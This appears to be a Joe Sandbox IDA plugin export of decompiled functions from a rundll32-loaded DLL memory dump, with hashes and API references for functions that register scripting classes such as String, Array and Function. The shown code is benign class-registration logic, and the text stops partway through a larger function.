Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$Math
API String ID: 2248442671-1755700783
Opcode ID: 99ba1fc89ea73b7d556ebffb76005af95b2fec2982b66d4abe6852a3582bea66
Instruction ID: 6d7e13f1b79afd3487ba3429341c5e64810f965f9c791ef4be170989c88ade2a
Opcode Fuzzy Hash: 99ba1fc89ea73b7d556ebffb76005af95b2fec2982b66d4abe6852a3582bea66
Instruction Fuzzy Hash: 1EF0BE75A186A8EBE714CF48CC01FAAB7A9F709A60F00431BF41597780DBB92A0087D8

Uniqueness

Uniqueness Score: -1.00%

Function 10045890 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10045890() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(E10066606);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1007187c;
				L10007F30(_t19, "String");
				E100083E0(_t19, 0, 0x10071580);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10045893
0x10045895
0x100458a0
0x100458a1
0x100458a3
0x100458aa
0x100458ae
0x100458b4
0x100458b6
0x100458be
0x100458ca
0x100458d1
0x100458d7
0x100458e5
0x100458ef
0x100458fb

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10066606,000000FF,?,10032EF3), ref: 100458BE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(String,JavaScript,3A5D9654,00087144,00000000,00000000,10066606,000000FF), ref: 100458D7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10071580,JavaScript,3A5D9654,00087144,00000000,00000000,10066606,000000FF), ref: 100458E5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 100458B9
String, xrefs: 100458C3

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$String
API String ID: 2248442671-2943566276
Opcode ID: 1b422f3033befb78c7e4b89240596608756531079ff86f4b62f9bfdabd683ee9
Instruction ID: f99d99e1a14fd6120ab0a6bf872ef9aa47d58ab78b1c5239c898383848b8718f
Opcode Fuzzy Hash: 1b422f3033befb78c7e4b89240596608756531079ff86f4b62f9bfdabd683ee9
Instruction Fuzzy Hash: E5F0E275A18568ABD714CF88CD01FAAB7E9F708B60F00422FF455937C0DBB92A008BD8

Uniqueness

Uniqueness Score: -1.00%

Function 10039170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10039170() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(E10064B38);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1007075c;
				L10007F30(_t19, "Number");
				E100083E0(_t19, 0, 0x10070640);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10039173
0x10039175
0x10039180
0x10039181
0x10039183
0x1003918a
0x1003918e
0x10039194
0x10039196
0x1003919e
0x100391aa
0x100391b1
0x100391b7
0x100391c5
0x100391cf
0x100391db

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10064B38,000000FF,?,10032F1B), ref: 1003919E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Number,JavaScript,3A5D9654,00087144,00000000,00000000,10064B38,000000FF), ref: 100391B7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070640,JavaScript,3A5D9654,00087144,00000000,00000000,10064B38,000000FF), ref: 100391C5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 10039199
Number, xrefs: 100391A3

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$Number
API String ID: 2248442671-2807950393
Opcode ID: 08e8da3c8bd8dc334d7dfc762e6f19ccd8bf2bcac6fbf9f2b3f1b62421a236c6
Instruction ID: ffd36d8393006ff80ed1e45c66a9cae182681ad4759057711e561c8674e6e085
Opcode Fuzzy Hash: 08e8da3c8bd8dc334d7dfc762e6f19ccd8bf2bcac6fbf9f2b3f1b62421a236c6
Instruction Fuzzy Hash: 3AF0BE75A18568ABE714CF48CC01FAAB7E9F709A20F00421BF41593780DBB97A008BD8

Uniqueness

Uniqueness Score: -1.00%

Function 10039A00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10039A00() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(E10064C58);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x10070984;
				L10007F30(_t19, "Object");
				E100083E0(_t19, 0, 0x10070840);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10039a03
0x10039a05
0x10039a10
0x10039a11
0x10039a13
0x10039a1a
0x10039a1e
0x10039a24
0x10039a26
0x10039a2e
0x10039a3a
0x10039a41
0x10039a47
0x10039a55
0x10039a5f
0x10039a6b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10064C58,000000FF,?,10032E00), ref: 10039A2E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Object,JavaScript,3A5D9654,00087144,00000000,00000000,10064C58,000000FF), ref: 10039A47

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070840,JavaScript,3A5D9654,00087144,00000000,00000000,10064C58,000000FF), ref: 10039A55

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 10039A29
Object, xrefs: 10039A33

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$Object
API String ID: 2248442671-2573228161
Opcode ID: e2ef1b7f44c8254d467ff2a9d0bf1aae92bf64cf2667ced3522f0f331f20dad9
Instruction ID: 8fced10c71c87af60e4afb58a308c41e94f9a1d7b40f2c04715c742aba583a18
Opcode Fuzzy Hash: e2ef1b7f44c8254d467ff2a9d0bf1aae92bf64cf2667ced3522f0f331f20dad9
Instruction Fuzzy Hash: 3AF0B475A145A8EBD714CF48CC01FAEB7A9F705A20F00421BF51593780DBB9290087D8

Uniqueness

Uniqueness Score: -1.00%

Function 1002AAC0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1002AAC0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10062f2c);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1006ee7c;
				L10007F30(_t19, "Array");
				E100083E0(_t19, 0, 0x1006ed20);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x1002aac3
0x1002aac5
0x1002aad0
0x1002aad1
0x1002aad3
0x1002aada
0x1002aade
0x1002aae4
0x1002aae6
0x1002aaee
0x1002aafa
0x1002ab01
0x1002ab07
0x1002ab15
0x1002ab1f
0x1002ab2b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10062F2C,000000FF,?,10032E2B), ref: 1002AAEE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Array,JavaScript,3A5D9654,00087144,00000000,00000000,10062F2C,000000FF), ref: 1002AB07

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006ED20,JavaScript,3A5D9654,00087144,00000000,00000000,10062F2C,000000FF), ref: 1002AB15

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 1002AAE9
Array, xrefs: 1002AAF3

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Array$JavaScript
API String ID: 2248442671-3122956903
Opcode ID: 4ecf3ca8bd12fd9225376f2b16449c428bd167057760eca4c79dadbd98303851
Instruction ID: 71bf1d067667f8c1f55e5f73ff7a28fe09c6f7e266da4d6eaadb38a7e38ba277
Opcode Fuzzy Hash: 4ecf3ca8bd12fd9225376f2b16449c428bd167057760eca4c79dadbd98303851
Instruction Fuzzy Hash: 82F0B475A14668ABD714CF48CC01FAEB7A9F709B50F00022BF51597780DBB52A0087D4

Uniqueness

Uniqueness Score: -1.00%

Function 100362D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E100362D0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(E1006459F);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x10070074;
				L10007F30(_t19, "global");
				E100083E0(_t19, 0, 0x10093388);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x100362d3
0x100362d5
0x100362e0
0x100362e1
0x100362e3
0x100362ea
0x100362ee
0x100362f4
0x100362f6
0x100362fe
0x1003630a
0x10036311
0x10036317
0x10036325
0x1003632f
0x1003633b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,1006459F,000000FF,?,10032ECB), ref: 100362FE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(global,JavaScript,3A5D9654,00087144,00000000,00000000,1006459F,000000FF), ref: 10036317

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10093388,JavaScript,3A5D9654,00087144,00000000,00000000,1006459F,000000FF), ref: 10036325

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 100362F9
global, xrefs: 10036303

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$global
API String ID: 2248442671-3731127768
Opcode ID: a2c314657b38e530787e6c228e912fac956c1427af5dfc65e7f48ff8a546a5fb
Instruction ID: bbdc076a69e4ab450a476dcb0d70743db024bc287b842ca0004e76bee08921fd
Opcode Fuzzy Hash: a2c314657b38e530787e6c228e912fac956c1427af5dfc65e7f48ff8a546a5fb
Instruction Fuzzy Hash: 30F0BE76A586A8ABD714CF48CC01FAAB7A9F708A20F00431FF51997380DFB92A0087D4

Uniqueness

Uniqueness Score: -1.00%

Function 10034AF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10034AF0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(E100641A8);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1006fe78;
				L10007F30(_t19, "Function");
				E100083E0(_t19, 0, 0x1006fd98);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10034af3
0x10034af5
0x10034b00
0x10034b01
0x10034b03
0x10034b0a
0x10034b0e
0x10034b14
0x10034b16
0x10034b1e
0x10034b2a
0x10034b31
0x10034b37
0x10034b45
0x10034b4f
0x10034b5b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,100641A8,000000FF,?,10032EA3), ref: 10034B1E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Function,JavaScript,3A5D9654,00087144,00000000,00000000,100641A8,000000FF), ref: 10034B37

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006FD98,JavaScript,3A5D9654,00087144,00000000,00000000,100641A8,000000FF), ref: 10034B45

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 10034B19
Function, xrefs: 10034B23

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Function$JavaScript
API String ID: 2248442671-1519988991
Opcode ID: 3769d8a068b1eb652a464c2a5c28ed3d725597d101e250a9baaab4fbfd739fb2
Instruction ID: a27d5b3e6f0c85d89566792b2c72c6f02d294962a60a0bd356f66c3d8fd4f9e2
Opcode Fuzzy Hash: 3769d8a068b1eb652a464c2a5c28ed3d725597d101e250a9baaab4fbfd739fb2
Instruction Fuzzy Hash: ABF0E971A58568ABD714CF48CC01FAEB7E9F709A50F00021FF41597780DBB53A0087D4

Uniqueness

Uniqueness Score: -1.00%

Function 1002CB00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1002CB00() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(E10063208);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1006ef38;
				L10007F30(_t19, "Boolean");
				E100083E0(_t19, 0, 0x1006eed0);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x1002cb03
0x1002cb05
0x1002cb10
0x1002cb11
0x1002cb13
0x1002cb1a
0x1002cb1e
0x1002cb24
0x1002cb26
0x1002cb2e
0x1002cb3a
0x1002cb41
0x1002cb47
0x1002cb55
0x1002cb5f
0x1002cb6b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10063208,000000FF,?,10032F43), ref: 1002CB2E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Boolean,JavaScript,3A5D9654,00087144,00000000,00000000,10063208,000000FF), ref: 1002CB47

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006EED0,JavaScript,3A5D9654,00087144,00000000,00000000,10063208,000000FF), ref: 1002CB55

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 1002CB29
Boolean, xrefs: 1002CB33

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Boolean$JavaScript
API String ID: 2248442671-3739871604
Opcode ID: e8eba6c9236db987eda25f020caf5c0df0d8ad5f3aa7a57ba3e91ec73096eb95
Instruction ID: c9ddf89cc87d110d2cfe434d316f5bcca14d5ff6674d9ac00e78d4de79709816
Opcode Fuzzy Hash: e8eba6c9236db987eda25f020caf5c0df0d8ad5f3aa7a57ba3e91ec73096eb95
Instruction Fuzzy Hash: 49F0B471A146A8BBD714CF88CC01FAEB7A9FB05B10F00062BF41593780DBB9290087D4

Uniqueness

Uniqueness Score: -1.00%

Function 1003FD70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1003FD70() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(E10065A18);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x10070ec8;
				L10007F30(_t19, "ReflectionInfo");
				E100083E0(_t19, 0, 0x10070d98);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x1003fd73
0x1003fd75
0x1003fd80
0x1003fd81
0x1003fd83
0x1003fd8a
0x1003fd8e
0x1003fd94
0x1003fd96
0x1003fd9e
0x1003fdaa
0x1003fdb1
0x1003fdb7
0x1003fdc5
0x1003fdcf
0x1003fddb

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10065A18,000000FF,?,10032FBB), ref: 1003FD9E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(ReflectionInfo,JavaScript,3A5D9654,00087144,00000000,00000000,10065A18,000000FF), ref: 1003FDB7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070D98,JavaScript,3A5D9654,00087144,00000000,00000000,10065A18,000000FF), ref: 1003FDC5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 1003FD99
ReflectionInfo, xrefs: 1003FDA3

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$ReflectionInfo
API String ID: 2248442671-2328064728
Opcode ID: 0a076702f9e8c26293f7ed62ac421f2247f322c8eabe570a3a4d955901c27b6e
Instruction ID: 986b9c755f193bdbb15b4d0a5a85b2aceb0ab89ad2e22e1a64bd2c4911743d8c
Opcode Fuzzy Hash: 0a076702f9e8c26293f7ed62ac421f2247f322c8eabe570a3a4d955901c27b6e
Instruction Fuzzy Hash: FBF0B475A14668ABD714CF88CC01FAAB7A8F705A10F00461BF51593780DBB93A0087D8

Uniqueness

Uniqueness Score: -1.00%

Function 1000EB40 Relevance: 7.9, APIs: 5, Instructions: 442
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E1000EB40(void* __ecx, signed int _a4, signed int _a8, signed char _a11) {
				signed int _v8;
				char _v12;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				signed int _v36;
				char _v60;
				signed int _t119;
				signed int _t122;
				signed int _t124;
				signed int _t125;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t135;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t163;
				signed int _t166;
				signed int _t178;
				signed int _t179;
				signed int _t180;
				signed int _t183;
				signed int _t186;
				signed int _t188;
				signed int _t191;
				signed int _t197;
				signed int _t203;
				intOrPtr _t206;
				intOrPtr* _t207;
				intOrPtr _t239;
				intOrPtr _t259;
				signed int _t261;
